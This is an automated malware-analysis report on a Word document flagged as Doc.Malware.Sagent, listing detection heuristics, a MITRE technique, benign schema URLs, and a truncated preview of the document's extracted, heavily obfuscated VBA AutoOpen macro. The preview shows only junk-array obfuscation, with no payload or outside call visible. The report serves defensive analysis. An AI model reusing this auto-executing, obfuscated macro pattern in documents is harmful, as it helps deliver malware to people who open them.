MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a malicious OLE document containing a legacy WordBasic AutoOpen macro, as indicated by the OLE_LEGACY_WORDBASIC_AUTOEXEC and OLE_VBA_AUTOOPEN heuristics. The ClamAV detection 'Doc.Malware.Sagent-6697295-0' further confirms its malicious nature. The VBA script is heavily obfuscated, but the presence of the AutoOpen macro strongly suggests it's designed to execute malicious actions immediately upon document opening.
Heuristics 5
-
ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 63485 bytes |
SHA-256: b703598bb539ccbbce864435c60cad85555596191ad77f774a8745edf978d84b |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const aosenaZACAvyvYleGYpaauBoHuRayXiaYBo = 0 Sub AutoOpen() On Error Resume Next Dim GokuolePEbeguMzicAquXyHAwuZOleHycoN(4) Dim MUHixAvINyXQoxeLiVYjOCEH(4) If 12 = 12 + (9 * 0) Then MUHixAvINyXQoxeLiVYjOCEH(0) = CLng(2607) End If MUHixAvINyXQoxeLiVYjOCEH(1) = Sqr(9) MUHixAvINyXQoxeLiVYjOCEH(2) = Month(26072607) MUHixAvINyXQoxeLiVYjOCEH(3) = Fix(2607.9) Dim GybYNOjyzeSIRzuVufOLaZINaNIVIvAjeFeFADUn(4) If 13 = 13 + (6 * 0) Then GybYNOjyzeSIRzuVufOLaZINaNIVIvAjeFeFADUn(0) = CLng(2535) End If GybYNOjyzeSIRzuVufOLaZINaNIVIvAjeFeFADUn(1) = Sqr(6) GybYNOjyzeSIRzuVufOLaZINaNIVIvAjeFeFADUn(2) = Month(25352535) GybYNOjyzeSIRzuVufOLaZINaNIVIvAjeFeFADUn(3) = Fix(2535.6) Dim zYSiBmeCIaaBAibOFEsuJYVeqOfaWiQuxefA(4) If 11 = 11 + (9 * 0) Then zYSiBmeCIaaBAibOFEsuJYVeqOfaWiQuxefA(0) = CLng(2693) End If zYSiBmeCIaaBAibOFEsuJYVeqOfaWiQuxefA(1) = Sqr(9) zYSiBmeCIaaBAibOFEsuJYVeqOfaWiQuxefA(2) = Month(26932693) zYSiBmeCIaaBAibOFEsuJYVeqOfaWiQuxefA(3) = Fix(2693.9) Dim VYCEConIbukYniFamYjosUNADYgybIxOJuwyKudOwAze(4) If 11 = 11 + (9 * 0) Then VYCEConIbukYniFamYjosUNADYgybIxOJuwyKudOwAze(0) = CLng(961) End If VYCEConIbukYniFamYjosUNADYgybIxOJuwyKudOwAze(1) = Sqr(9) VYCEConIbukYniFamYjosUNADYgybIxOJuwyKudOwAze(2) = Month(961961) VYCEConIbukYniFamYjosUNADYgybIxOJuwyKudOwAze(3) = Fix(961.9) If 13 = 13 + (3 * 0) Then GokuolePEbeguMzicAquXyHAwuZOleHycoN(0) = CLng(1135) End If Dim QYPOIhuNObAQaWiKatililABYwoLoTAkIsyrijO(4) If 11 = 11 + (3 * 0) Then QYPOIhuNObAQaWiKatililABYwoLoTAkIsyrijO(0) = CLng(4730) End If QYPOIhuNObAQaWiKatililABYwoLoTAkIsyrijO(1) = Sqr(3) QYPOIhuNObAQaWiKatililABYwoLoTAkIsyrijO(2) = Month(47304730) QYPOIhuNObAQaWiKatililABYwoLoTAkIsyrijO(3) = Fix(4730.3) Dim PUkYpeyPIGIDAseKudIZIXwYniwaaIpypyGOPO(4) If 11 = 11 + (10 * 0) Then PUkYpeyPIGIDAseKudIZIXwYniwaaIpypyGOPO(0) = CLng(4312) End If PUkYpeyPIGIDAseKudIZIXwYniwaaIpypyGOPO(1) = Sqr(10) PUkYpeyPIGIDAseKudIZIXwYniwaaIpypyGOPO(2) = Month(43124312) PUkYpeyPIGIDAseKudIZIXwYniwaaIpypyGOPO(3) = Fix(4312.1) GokuolePEbeguMzicAquXyHAwuZOleHycoN(1) = Sqr(3) Dim hYXOkUHahiCyPyQuKeqAtcyQUsecohufUbyDA(4) If 13 = 13 + (3 * 0) Then hYXOkUHahiCyPyQuKeqAtcyQUsecohufUbyDA(0) = CLng(4178) End If hYXOkUHahiCyPyQuKeqAtcyQUsecohufUbyDA(1) = Sqr(3) hYXOkUHahiCyPyQuKeqAtcyQUsecohufUbyDA(2) = Month(41784178) hYXOkUHahiCyPyQuKeqAtcyQUsecohufUbyDA(3) = Fix(4178.3) Dim KEbeViByZPOnOdkageHiQImuu(4) If 10 = 10 + (4 * 0) Then KEbeViByZPOnOdkageHiQImuu(0) = CLng(2394) End If KEbeViByZPOnOdkageHiQImuu(1) = Sqr(4) KEbeViByZPOnOdkageHiQImuu(2) = Month(23942394) KEbeViByZPOnOdkageHiQImuu(3) = Fix(2394.4) GokuolePEbeguMzicAquXyHAwuZOleHycoN(2) = Month(11351135) Dim RoRuhoMuByneLYDEiGeziCAmIDorYv(4) If 11 = 11 + (5 * 0) Then RoRuhoMuByneLYDEiGeziCAmIDorYv(0) = CLng(3946) End If RoRuhoMuByneLYDEiGeziCAmIDorYv(1) = Sqr(5) RoRuhoMuByneLYDEiGeziCAmIDorYv(2) = Month(39463946) RoRuhoMuByneLYDEiGeziCAmIDorYv(3) = Fix(3946.5) GokuolePEbeguMzicAquXyHAwuZOleHycoN(3) = Fix(1135.3) Dim nYXOPEBCWaPuJUKEQYHuxVoVYdAqYiyjUioNEpUDODI(4) Dim HoJOJicoQUJuKopuDoFYcUGOPEWfIKeB(4) If 13 = 13 + (7 * 0) Then HoJOJicoQUJuKopuDoFYcUGOPEWfIKeB(0) = CLng(6413) End If HoJOJicoQUJuKopuDoFYcUGOPEWfIKeB(1) = Sqr(7) HoJOJicoQUJuKopuDoFYcUGOPEWfIKeB(2) = Month(64136413) HoJOJicoQUJuKopuDoFYcUGOPEWfIKeB(3) = Fix(6413.7) Dim XufynijwACUMzEhicYKAhECyBapAfogOS(4) If 11 = 11 + (5 * 0) Then XufynijwACUMzEhicYKAhECyBapAfogOS(0) = CLng(7881) End If XufynijwACUMzEhicYKAhECyBapAfogOS(1) = Sqr(5) XufynijwACUMzEhicYKAhECyBapAfogOS(2) = Month(78817881) XufynijwACUMzEhicYKAhECyBapAfogOS(3) = Fix(7881.5) If 12 = 12 + (1 * 0) Then nYXOPEBCWaPuJUKEQYHuxVoVYdAqYiyjUioNEpUDODI(0) = CLng(6951) Dim KUVEvyQvowAjmaIVoahOWIiiJuMyHyiycoM(4) If 13 = 13 + (8 * 0) Then KUVEvyQv ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.